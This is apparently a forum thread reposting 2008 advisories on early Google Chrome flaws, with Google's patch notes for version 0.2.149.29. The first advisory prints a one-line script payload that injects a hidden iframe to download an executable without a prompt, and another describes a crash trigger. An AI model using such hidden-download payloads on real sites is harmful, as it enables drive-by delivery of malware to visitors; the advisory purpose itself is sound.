Worlds Worst Spammers, phishers, and junk emailers
0 Members and 1 Guest are viewing this topic.
Google Chrome Browser Automatic File Download 3 Sep. 2008 SummaryGoogle's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt. Credit:The information has been provided by nerex.The original article can be found at: http://www.milw0rm.com/exploits/6355 DetailsExploit:<script>document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');</script>
Google Chrome Browser URL Handler Crash 3 Sep. 2008 SummaryAn issue exists in how chrome behaves with undefined-handlers in chrome.dll version 0.2.149.27. A crash can result without user interaction. When a user is made to visit a malicious link, which has an undefined handler followed by a 'special' character, the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed. Restart now?". It crashes on "int 3" at 0x01002FF3 as an exception/trap, followed by "POP EBP" instruction when pointed out by the EIP register at 0x01002FF4. Credit:The information has been provided by Rishi Narang.The original article can be found at: http://evilfingers.com/advisory/google_chrome_poc.php DetailsVulnerable Systems: * Google Chrome Browser version 0.2.149.27PoC Working/Exploit:Click for a demo (clicking will cause the browser to crash) HERE.
Milw0rm is one among the best websites known for rich collection of exploits. There are many sites where exploits can be found, but to find a working exploit, it is quite hard. Str0ke has taken effort and care in making sure that the exploits submitted to him really work, with his expertise in the field. Evilfingers will be using milw0rm's exploits in many toolkits and frameworks.
Google Chrome version 0.2.149.29 was released on 5 September 2008, and all users are being automatically updated. Automatic updates are a key security feature in helping to ensure the safety of Google Chrome users.This is a security and bug fix update, with no new functionality.Security Updates: * Fix a buffer overflow vulnerability in handling long filenames that display in the Save As... dialog. This is a critical risk that could lead to execution of arbitrary code. o Issue: http://code.google.com/p/chromium/issues/detail?id=1414 o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1766 * Fix a buffer overflow vulnerability in handling link targets displayed in the status area when the user hovers over a link. This is a critical risk that could lead to execution of arbitrary code. o Issue: reported internally to Google o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1797 * Fix an out-of-bounds memory read when parsing URLs ending with :%. This is a low risk that can be used to crash the entire browser, possibly causing loss of data in the current session. o Issue: http://code.google.com/p/chromium/issues/detail?id=122 o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1760 * Change the default Downloads directory if it is set to Desktop, and ensure that Desktop cannot be the default. This mitigates the risk of malicious cluttering of the desktop with unwanted downloads, which can lead to executing unwanted files. o Fix: http://src.chromium.org/viewvc/chrome?view=rev&revision=1793
Page created in 0.093 seconds with 25 queries.